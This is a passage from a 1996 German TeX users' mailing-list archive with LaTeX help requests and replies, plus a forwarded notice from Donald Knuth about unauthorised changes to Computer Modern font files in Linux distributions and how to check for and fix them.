immer eine leere Seite, wenn ein Kapitel auf einer Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, wie das geht?? juergen From root Fri Jul 12 11:47:42 1996 Message-Id: <199607120946.LAA28885@isle> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: <9607120941.AA06633@spock.physik.uni-konstanz.de> (message fr= Date: Fri, 12 Jul 1996 11:46:46 +0200 Subject: "Probleme" mit \cleardoublepage bei `book' Juergen Petry schreibt: : mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der : standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck : bekomme ich immer eine leere Seite, wenn ein Kapitel auf einer : Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf : einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, : wie das geht?? `report' verwenden? :-) ...und mal 'n LaTeX-Buch/-Doku in die Hand nehmen! Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Fri Jul 12 11:46:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 12 Jul 1996 11:46:46 +0200 Subject: "Probleme" mit \cleardoublepage bei `book' Juergen Petry schreibt: : mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der : standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck : bekomme ich immer eine leere Seite, wenn ein Kapitel auf einer : Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf : einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, : wie das geht?? `report' verwenden? :-) ...und mal 'n LaTeX-Buch/-Doku in die Hand nehmen! Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Fri Jul 12 12:09:27 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Fri, 12 Jul 1996 12:06:18 +0100 Subject: Re: verkn"upfen mehrerer dvi- und ps-files On Thu, 11 Jul 1996 13:21:38 -6000 Leo Broska wrote: > wo finde ich ein programm das zwei ps-dateien zu einer verbindet, die den > Adobe-Conventionen entspricht? > > wo finde ich ein programm das zwei dvi-dateien zu einer verbindet? Such auf CTAN nach dem paket morebin dort solltest Du alles noetige finden, wenn ich micht nicht irre. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Fri Jul 12 13:16:28 1996 Content-Type: text Message-Id: <9607121115.AA42659@cluster6.urz.uni-halle.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Blochwitz To: Multiple recipients of list TEX-D-L In-Reply-To: <9607120941.AA06633@spock.physik.uni-konstanz.de> from "Juerg= Date: Fri, 12 Jul 1996 13:15:44 +0200 Subject: Re: Buchdruck (Kapitelanfang) > > Hallo, > > mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der > standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck > bekomme ich immer eine leere Seite, wenn ein Kapitel auf einer > Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf > einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, > wie das geht?? > > juergen > Das geht mit der option openany, also \documentstyle[openany]{book} Stefan From root Fri Jul 12 13:16:28 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Blochwitz Date: Fri, 12 Jul 1996 13:15:44 +0200 Subject: Re: Buchdruck (Kapitelanfang) > > Hallo, > > mit dem Dokumentenstil book habe ich folgendes Problem: Wegen der > standardmaessigen Formatierung der Ausgabe fuer doppelseitigen Druck > bekomme ich immer eine leere Seite, wenn ein Kapitel auf einer > Seite mit ungerader Nummer endet (neue Kapitel fangen immer auf > einer rechten Seite an). Das will ich unterdruecken. Weiss jemand, > wie das geht?? > > juergen > Das geht mit der option openany, also \documentstyle[openany]{book} Stefan From owner-tex-d-l@VM.GMD.DE Fri Jul 12 12:42:28 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Fri, 12 Jul 1996 12:23:15 +0100 Subject: Glossar erzeugen unter LaTeX2e Hallo Gurus, ich muss fuer eine Arbeit ein Glossar erstellen und ein Abkuerzungsverzeichnis. Leider ist im Kopka und im LaTeX Begleiter nicht sehr viel zu dem Thema geschrieben - Nur, dass makeindex die .glo Dateien auch lesen kann. Gibts dazu vielleicht irgendwo etwas genauere Beispiele? Ich stelle mir das Abkuerzungsverzeichnis so vor: EU Europaeische Union OECD Organization for Economic Cooperation and Development Das Glossar stell ich mir in etwa so vor: NATO bla bla bla bla bla bla bla bla bla Europarat bla bla .... Ich waere fuer jeden Hinweis dankbar und wuensche ein schoenes Wochenende. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Sat Jul 13 01:28:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I700YXBNEQAM5EY1@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Fri, 12 Jul 1996 21:48:22 +0100 Subject: Re: [Kapitel sollen auch auf der linken Seite beginnen d"urfe= Das geht mit der Option [openany] \documentclass[openany]{report} --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Sat Jul 13 02:57:43 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Fri, 12 Jul 1996 21:48:22 +0100 Subject: Re: [Kapitel sollen auch auf der linken Seite beginnen d"urfen] Das geht mit der Option [openany] \documentclass[openany]{report} --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Thu Jul 11 13:21:04 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Thu, 11 Jul 1996 13:21:38 -6000 Subject: verkn"upfen mehrerer dvi- und ps-files hallo! wo finde ich ein programm das zwei ps-dateien zu einer verbindet, die den Adobe-Conventionen entspricht? wo finde ich ein programm das zwei dvi-dateien zu einer verbindet? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From root Thu Jul 11 13:22:14 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L Date: Thu, 11 Jul 1996 13:21:38 -6000 Subject: verkn"upfen mehrerer dvi- und ps-files hallo! wo finde ich ein programm das zwei ps-dateien zu einer verbindet, die den Adobe-Conventionen entspricht? wo finde ich ein programm das zwei dvi-dateien zu einer verbindet? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From owner-tex-d-l@VM.GMD.DE Sun Jul 14 19:07:14 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Lammarsch Date: Sun, 14 Jul 1996 17:22:47 +0200 Subject: Important message from Knuth: Wrong cm fonts on Linux Der Praesident der TUG hat mir mitgeteilt, dass Prof. Dr. Donald E. Knuth eine Verletzung seines Copyrights bei den cm-Schriften angezeigt hat. Den Originaltext habe ich nachfolgend beigefuegt. Wie es scheint, betrifft es ausschliesslich die Linux-Verteilung. Auf den CDROM, die ueber DANTE e.V. erhaeltlich sind, ist die cm-Verteilung nicht modifiziert. Den Fehler konnte ich in meiner Slakware-Linux Installation nachweisen . Ebenfalls ist die Modifikation auf der Linux-CDROM der Suse GmbH vorhanden. Um moeglichst schnell diese unerfreuliche Angelegenheit aus der Welt zu schaffen, bitte ich alle, die TeX-Installationen zu ueberpruefen. Es ist in der Mitteilung von Prof. Knuth klar angegeben, wie vorzugehen ist. Falls die Modifikation vorhanden ist, muessen die entsprechenden Dateien ersetzt und neue Formatfiles erzeugt werden. Die richtigen Dateien sind auf den CTAN-Hosts verfuegbar. Vom Kauf von CDROM rate ich Abstand zu nehmen, bis wieder fehlerfreie CDROM verfuegbar sind. DANTE e.V. wird sich bemuehen, die betroffenen Produzenten schnellstens zu informieren und ihnen die korrekten Dateien zur Verfuegung zu stellen. All diejenigen, die diesbezueglich weitere Informationen haben, bitte ich, mir diese zur Verfuegung zu stellen. Ebenfalls waere ich sehr daran interessiert zu erfahren, welcher Mensch eine solche Modifikation vorgenommen hat. Die Veraergerung von Prof. Knuth ist verstaendlich. Mehr und mehr ist zu beobachten, dass das Copyright des oefteren leichtfertig uebergangen wird. Wir sollten diese Angelegenheit zum Anlass nehmen, kuenftig noch mehr als bisher darauf zu achten, dass keine unerlaubten Modifikationen vorgenommen werden und das Copyright in jedem Falle respektiert wird. Mit freundlichen Gruessen Joachim Lammarsch (Praesident DANTE e.V.) -------------------------Text Text Text----------------------------------- Important Message to all Users of TeX ===================================== Two font problems have arisen that need to be corrected before they get even worse. One is a serious font incompatibility problem; the other is an aesthetic problem of obsolete designs (this part not shown below m.g.) Both concern only the Computer Modern font family. I'm counting on the traditional goodwill of TeX users everywhere to help resolve these problems. The Linux Slackware Distribution Has Bad Fonts ============================================== Somebody in Germany made unauthorized changes to the Computer Modern source files in 1994 (the METAFONT programs that define the Computer Modern fonts), in direct violation of my stipulation on the copyright page of C omputers & Typesetting, Volume E. As a result, these fonts produce quite different results on different computer systems, and they will also cause TeX to typeset your old papers with different line breaks, page breaks, overfull boxes, etc. Unfortunately, the unauthor ized files somehow got substituted for the correct ones --- I'm not sure when. But I am sure angry! Dear friends, I decided to put these fonts into the public domain rather than to make them proprietary; all I have asked is that nobody change them, UNLESS THE NAME IS CHANGED, so that every user can obtain equivalent results on all computer systems, now and 50 years from now. I went to enormous efforts to make TeX and METAFONT systems equivalent on hundreds of different computers, and to make them archival as no commercial software has ever been. If you want to improve the fonts, go ahead, but DON'T GIVE YOUR FONTS THE SAME NAME AS MINE. I insist that every font named cmr10 have the same font metrics, so that TeX will choose exactly the same line breaks and page breaks on every computer system in the world. This compatibility must be enforced by peer pressure (boycotts, bad publicity , etc.), to anybody who breaks the rules. The TeX Users Group is now deciding how best to condemn this action and to keep the cancer from infecting too many systems. Another person has changed the shapes of the apostrophe and reverse apostrophe in the Computer Modern Typewriter fonts, against my wishes. Instead of naming him here, I ask him to retract his work as soon as possible. The volunteer who helped me discover why my TeX was different from his tells me that he got the adulterated font files from an InfoMagic 4CD set dated March 1995. Look, I number the Linux folks among my personal heroes; I don't want to campaign against their fine work. They undoubtedly picked up these bad font files from somewhere in all innocence. But now the community must quickly get the word out that the CM fonts distributed with Linux since spring 1995 (at least) are grievously corrupted. The incompatible fonts must be banished from all computer systems that hope to be compatible with legitimate installations of TeX. How to Tell If Your Fonts Are Corrupted ======================================= Type the following simple instructions to TeX, after the ** prompt: \setbox 0 = \hbox{ho} \showbox 0 Then type x to the > prompt. If TeX replies that \box0 is an \hbox of width 10.55559, you're in good shape; \rela x! But if TeX replies that \box0 has width 10.31947, I'm sorry to say that you've got a big problem. In that case TeX will also show you a \kern between the h and the o. The source of the errors can be traced to three illegitimate font files. Please get your system administrator to replace the files you have by the officially correct ones that you can find here: roman.mf romlig.mf punct.mf Several other files in the Slackware distribution are slightly out of date with respect to the official sources in directory ~ftp/pub/tex/cm at labrea.stanford.edu, but replacing the three files above AND REMAKING ALL THE FONTS will cure all the serious problems. (Actually you don't need to remake any bitmaps, except for the typewriter-style fonts cmtt* and cmtex*; all you need otherwise is to remake the font metric files, namely the files with suffix ".tfm". You also need to remake the ".fmt" files that TeX uses at the start of a job, because these contain preloaded font information.) From root Sun Jul 14 19:07:51 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Joachim Lammarsch To: Multiple recipients of list TEX-D-L Date: Sun, 14 Jul 1996 17:22:47 +0200 Subject: Important message from Knuth: Wrong cm fonts on Linux Der Praesident der TUG hat mir mitgeteilt, dass Prof. Dr. Donald E. Knuth eine Verletzung seines Copyrights bei den cm-Schriften angezeigt hat. Den Originaltext habe ich nachfolgend beigefuegt. Wie es scheint, betrifft es ausschliesslich die Linux-Verteilung. Auf den CDROM, die ueber DANTE e.V. erhaeltlich sind, ist die cm-Verteilung nicht modifiziert. Den Fehler konnte ich in meiner Slakware-Linux Installation nachweisen . Ebenfalls ist die Modifikation auf der Linux-CDROM der Suse GmbH vorhanden. Um moeglichst schnell diese unerfreuliche Angelegenheit aus der Welt zu schaffen, bitte ich alle, die TeX-Installationen zu ueberpruefen. Es ist in der Mitteilung von Prof. Knuth klar angegeben, wie vorzugehen ist. Falls die Modifikation vorhanden ist, muessen die entsprechenden Dateien ersetzt und neue Formatfiles erzeugt werden. Die richtigen Dateien sind auf den CTAN-Hosts verfuegbar. Vom Kauf von CDROM rate ich Abstand zu nehmen, bis wieder fehlerfreie CDROM verfuegbar sind. DANTE e.V. wird sich bemuehen, die betroffenen Produzenten schnellstens zu informieren und ihnen die korrekten Dateien zur Verfuegung zu stellen. All diejenigen, die diesbezueglich weitere Informationen haben, bitte ich, mir diese zur Verfuegung zu stellen. Ebenfalls waere ich sehr daran interessiert zu erfahren, welcher Mensch eine solche Modifikation vorgenommen hat. Die Veraergerung von Prof. Knuth ist verstaendlich. Mehr und mehr ist zu beobachten, dass das Copyright des oefteren leichtfertig uebergangen wird. Wir sollten diese Angelegenheit zum Anlass nehmen, kuenftig noch mehr als bisher darauf zu achten, dass keine unerlaubten Modifikationen vorgenommen werden und das Copyright in jedem Falle respektiert wird. Mit freundlichen Gruessen Joachim Lammarsch (Praesident DANTE e.V.) -------------------------Text Text Text----------------------------------- Important Message to all Users of TeX =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Two font problems have arisen that need to be corrected before they get even worse. One is a serious font incompatibility problem; the other is an aesthetic problem of obsolete designs (this part not shown below m.g.) Both concern only the Computer Modern font family. I'm counting on the traditional goodwill of TeX users everywhere to help resolve these problems. The Linux Slackware Distribution Has Bad Fonts =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Somebody in Germany made unauthorized changes to the Computer Modern source= files in 1994 (the METAFONT programs that define the Computer Modern fonts)= , in direct violation of my stipulation on the copyright page of C omputers & Typesetting, Volume E. As a result, these fonts produce quite different results on different computer systems, and they will also cause TeX to typeset your old papers with different line breaks, page breaks, overfull boxes, etc. Unfortunately, the unauthor ized files somehow got substituted for the correct ones --- I'm not sure when. But I am sure angry! Dear friends, I decided to put these fonts into the public domain rather than to make them proprietary; all I have asked is that nobody change them,= UNLESS THE NAME IS CHANGED, so that every user can obtain equivalent result= s on all computer systems, now and 50 years from now. I went to enormous efforts to make TeX and METAFONT systems equivalent on hundreds of differen= t computers, and to make them archival as no commercial software has ever been. If you want to improve the fonts, go ahead, but DON'T GIVE YOUR FONTS= THE SAME NAME AS MINE. I insist that every font named cmr10 have the same font metrics, so that TeX will choose exactly the same line breaks and page= breaks on every computer system in the world. This compatibility must be enforced by peer pressure (boycotts, bad publicity , etc.), to anybody who breaks the rules. The TeX Users Group is now deciding how best to condemn this action and to keep the cancer from infecting too many systems. Another person has changed the shapes of the apostrophe and reverse apostrophe in the Computer Modern Typewriter fonts, against my wishes. Instead of naming him here, I ask him to retract his work as soon as possib= le. The volunteer who helped me discover why my TeX was different from his tells me that he got the adulterated font files from an InfoMagic 4CD set dated March 1995. Look, I number the Linux folks among my personal heroes; I don't want to campaign against their fine work. They undoubtedly picked up these bad font= files from somewhere in all innocence. But now the community must quickly get the word out that the CM fonts distributed with Linux since spring 1995= (at least) are grievously corrupted. The incompatible fonts must be banishe= d from all computer systems that hope to be compatible with legitimate installations of TeX. How to Tell If Your Fonts Are Corrupted =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Type the following simple instructions to TeX, after the ** prompt: \setbox 0 =3D \hbox{ho} \showbox 0 Then type x to the > prompt. If TeX replies that \box0 is an \hbox of width= 10.55559, you're in good shape; \rela x! But if TeX replies that \box0 has width 10.31947, I'm sorry to say that you've got a big problem. In that case TeX will also show you a \kern between the h and the o. The source of the errors can be traced to three illegitimate font files. Please get your system administrator to replace the files you have by the officially correct ones that you can find here: roman.mf romlig.mf punct.mf Several other files in the Slackware distribution are slightly out of date with respect to the official sources in directory ~ftp/pub/tex/cm at labrea.stanford.edu, but replacing the three files above AND REMAKING ALL THE FONTS will cure all the serious problems. (Actually you don't need to remake any bitmaps, except for the typewriter-style fonts cmtt* and cmtex*;= all you need otherwise is to remake the font metric files, namely the files= with suffix ".tfm". You also need to remake the ".fmt" files that TeX uses at the start of a job, because these contain preloaded font information.) From owner-tex-d-l@VM.GMD.DE Sun Jul 14 20:05:12 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Sun, 14 Jul 1996 20:06:49 +0100 Subject: Re: Important message from Knuth: Wrong cm fonts on Linux Erg"anzung zu den verf"alschten cm-Schriften: Obwohl Knuth schreibt, da\3 es nicht n"otig sei, die pk-Dateien neu zu berechnen, ist dies dennoch sehr zu empfehlen, da ansonsten zumindest ein popul"arer Treiber Fehler (etwa bei Tabellen mit senkrechten Linien) produziert. --J"org Knappen. From root Sun Jul 14 20:06:02 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I72Q075FN6AM5J44@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Sun, 14 Jul 1996 20:06:49 +0100 Subject: Re: Important message from Knuth: Wrong cm fonts on Linux Erg"anzung zu den verf"alschten cm-Schriften: Obwohl Knuth schreibt, da\3 es nicht n"otig sei, die pk-Dateien neu zu berechnen, ist dies dennoch sehr zu empfehlen, da ansonsten zumindest ein popul"arer Treiber Fehler (etwa bei Tabellen mit senkrechten Linien) produziert. --J"org Knappen. From root Mon Jul 15 13:07:21 1996 Message-Id: <9607151110.AA19650@fbr033.rzbt.fh-hamburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jobst-Hartmut Lueddecke To: Multiple recipients of list TEX-D-L In-Reply-To: Your message of "Tue, 09 Jul 96 09:27:00 +0200." <199607090927.p38143@ol2.maus.de> Date: Mon, 15 Jul 1996 13:10:35 +0200 Subject: Re: BibTeX, alphabetic schon alphadin ausprobiert? Ist zu finden auf unserem Server unter http://www.fh-hamburg.de/misc/prog/bibtex mfg Lueddecke From root Mon Jul 15 13:07:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jobst-Hartmut Lueddecke Date: Mon, 15 Jul 1996 13:10:35 +0200 Subject: Re: BibTeX, alphabetic schon alphadin ausprobiert? Ist zu finden auf unserem Server unter http://www.fh-hamburg.de/misc/prog/bibtex mfg Lueddecke From owner-tex-d-l@VM.GMD.DE Mon Jul 15 16:27:02 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Christian Meisl Date: Mon, 15 Jul 1996 16:20:39 +0200 Subject: Re: Style oder clo fuer 17pt Dokument Soviel ich weiss, liefert der Style fuer Overhead-Folien Ausgaben in genau der Groesse. Das Problem ist, dass die Seitennumerierung in dem Style nicht erfolgt, da muesste man eventuell ein bisschen programmieren. Aber ansonsten ist \documentclass{slides} sicher ein moeglicher Ansatz. mfg, Christian Christian Meisl alias meisl@sbox.tu-graz.ac.at -------------------------------------------------------------------------- "I'm still confused, but on a higher level...!" From root Tue Jul 16 11:08:44 1996 Message-Id: <199607160741.JAA03177@meridian.ruhr.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Detlef Goers To: Multiple recipients of list TEX-D-L In-Reply-To: > How to Tell If Your Fonts Are Corrupted > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > Type the following simple instructions to TeX, after the ** prompt: > > \setbox 0 =3D \hbox{ho} \showbox 0 > > Then type x to the > prompt. If TeX replies that \box0 is an \hbox of wi= dth > 10.55559, you're in good shape; \rela x! But if TeX replies that \box0 h= as > width 10.31947, I'm sorry to say that you've got a big problem. In that > case TeX will also show you a \kern between the h and the o. > [..] Hallo zusammen! Ich habe mir Anfang letzter Woche das aktuelle NTeX-Pakt von ftp.dante.de gezogen und so installiert, dass die Knuth-Zeichensaetze und optimiertes Ke= rning verwendet werden. Als ich den obigen Test durchgefuehrt habe, ergab sich fo= lgende Bildschirmausgabe: This is TeX, Version 3.14159 (C version 6.1.3N) **\setbox 0 =3D \hbox{ho} \showbox 0 > \box0=3D \hbox(6.94444+0.0)x10.31947 .\tenrm h .\kern-0.23611 .\tenrm o ! OK. <*> \setbox 0 =3D \hbox{ho} \showbox 0 ? x No pages of output. Sie zeigen alle von D. Knuth beschriebenen Merkmale im Zusammenhang mit den= falschen Zeichensaetzen. Kann ich das Problem dadurch beheben, dass ich das= Kerning einfach ausschalte, oder musssen die Dateinen roman.mf, romlig.mf u= nd punct.mf ausgetauscht werden? Und wenn ja, muessen die neuen Dateien die al= ten in source.orig oder source.opt ersetzen? Gruesse Detlef Goers --- Detlef G"ors Phone: +49 231 480240 H"ochstener Str. 44 eMail: goers@meridian.ruhr.de 44267 Dortmund goers@urd.informatik.uni-dortmund.de= Germany PGP: goers@localhost.ruhr.de From root Tue Jul 16 11:08:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Detlef Goers Date: Tue, 16 Jul 1996 09:41:29 +0200 Subject: Important message from Knuth: Wrong cm fonts on Linux Joachim Lammarsch writes: [..] > > How to Tell If Your Fonts Are Corrupted > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > Type the following simple instructions to TeX, after the ** prompt: > > \setbox 0 =3D \hbox{ho} \showbox 0 > > Then type x to the > prompt. If TeX replies that \box0 is an \hbox of width > 10.55559, you're in good shape; \rela x! But if TeX replies that \box0 has > width 10.31947, I'm sorry to say that you've got a big problem. In that > case TeX will also show you a \kern between the h and the o. > [..] Hallo zusammen! Ich habe mir Anfang letzter Woche das aktuelle NTeX-Pakt von ftp.dante.de gezogen und so installiert, dass die Knuth-Zeichensaetze und optimiertes Kerning verwendet werden. Als ich den obigen Test durchgefuehrt habe, ergab sich folgende Bildschirmausgabe: This is TeX, Version 3.14159 (C version 6.1.3N) **\setbox 0 =3D \hbox{ho} \showbox 0 > \box0=3D \hbox(6.94444+0.0)x10.31947 .\tenrm h .\kern-0.23611 .\tenrm o ! OK. <*> \setbox 0 =3D \hbox{ho} \showbox 0 ? x No pages of output. Sie zeigen alle von D. Knuth beschriebenen Merkmale im Zusammenhang mit den falschen Zeichensaetzen. Kann ich das Problem dadurch beheben, dass ich das Kerning einfach ausschalte, oder musssen die Dateinen roman.mf, romlig.mf und punct.mf ausgetauscht werden? Und wenn ja, muessen die neuen Dateien die alten in source.orig oder source.opt ersetzen? Gruesse Detlef Goers --- Detlef G"ors Phone: +49 231 480240 H"ochstener Str. 44 eMail: goers@meridian.ruhr.de 44267 Dortmund goers@urd.informatik.uni-dortmund.de Germany PGP: goers@localhost.ruhr.de From owner-tex-d-l@VM.GMD.DE Tue Jul 16 13:13:37 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Friedbert Widmann Date: Tue, 16 Jul 1996 11:26:23 +0200 Subject: Re: Important message from Knuth: Wrong cm fonts on Linux Detlef Goers wrote: > Sie zeigen alle von D. Knuth beschriebenen Merkmale im Zusammenhang mit den > falschen Zeichensaetzen. Kann ich das Problem dadurch beheben, dass ich das > Kerning einfach ausschalte, oder musssen die Dateinen roman.mf, romlig.mf und > punct.mf ausgetauscht werden? Und wenn ja, muessen die neuen Dateien die alten > in source.orig oder source.opt ersetzen? 1. Kerning ausschalten ist m.E. sinnlos! 2. Man MUSS die Dateien nicht ersetzen aber - wenn man sie nicht aendert, darf man sie nicht CM-Fonts nennen. Man muesste also alle Fontnamen von CM... nach irgend etwas anderes umbenennen und hatte dann DVI-Dokumente, die garantiert nur auf dem eigenen System benutzbar sind. - man muesste die bestehenden Dateien wieder auf den Original-Zustand bringen. 3. Was sind OPTIMIERTE CM-Fonts? Es gibt nach Knuth nur CM-Fonts oder eben keine CM-Fonts. Alles, was nicht genau so ist, wie die CM-Fonts, darf sich nicht Computer-Modern (CM) nennen! Das einfachste wird sein, die Dateien in beiden Verzeichnissen zu ersetzen. Sollte es bei diesen "optimierten" CM-Fonts Probleme gibt, dann schlage ich vor, diese Fonts zu loeschen, da es KEINE CM-Fonts sind. Danach sind alle cm*.tfm Dateien zu loeschen und NTeX sollte sie mit MakeTeXTFM automatisch wieder erzeugen. Ciao Widi -- ------------------------------------------------------------------------- Friedbert Widmann mailto:texadmin@informatik.uni-koblenz.de Universitaet Koblenz http://www.uni-koblenz.de/~texadmin (La)TeX Administration oder mailto:widi@informatik.uni-koblenz.de Rheinau 1, D-56075 Koblenz, Germany From owner-tex-d-l@VM.GMD.DE Tue Jul 16 17:19:46 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Frank Langbein Date: Tue, 16 Jul 1996 16:28:33 +0200 Subject: Re: Important message from Knuth: Wrong cm fonts on Linux On Tue, 16 Jul 1996, Detlef Goers wrote: > Sie zeigen alle von D. Knuth beschriebenen Merkmale im Zusammenhang mit den > falschen Zeichensaetzen. Kann ich das Problem dadurch beheben, dass ich das > Kerning einfach ausschalte, oder musssen die Dateinen roman.mf, romlig.mf und > punct.mf ausgetauscht werden? Und wenn ja, muessen die neuen Dateien die alten > in source.orig oder source.opt ersetzen? Es reicht das optimierte Kerning auszuschalten. Dann werden die Richtigen roman.mf, romlig.mf und punct.mf Dateien verwendet. Zur Sicherheit sollten auch die Verzeichnisse /fonts/public/cm/tfm, /fonts/public/cm/pk, /fonts/public/cm/tfm und /fonts/pbulic/cm/pk geloescht werden. Das Verzeichnis source.orig enthaelt die richtigen Datein, source.opt die mit optmierten Kerning. Ich habe die Dateien von mf_optimized_kerning in 2.X als spezielle Option wieder mit aufgenommen, da einige Leute diese haben wollten nachdem sie sie in 1.2.1 verwedet hatten. Da jetzt wohl eindeutig geklaert ist, dass diese Dateien nichts in den CM fonts zu suchen haben, werden sie in der naechsten release vollstaendig verschwinden. Viele Gruesse, Frank Langbein PS: Ich habe inzwischen neue Pakete mit den Korrekten CM fonts fuer Slackware 3.0 erstellt. Sie liegen auf darfnix.mathematik.uni-stuttgart.de in /pub/tex/ntex/slackware-fix. Ich konnte sie bis jetzt allerdings noch nicht auf einem Slackware System ausprobieren. From root Thu Jul 18 15:27:08 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thomas Hempfling Date: Thu, 18 Jul 1996 10:51:02 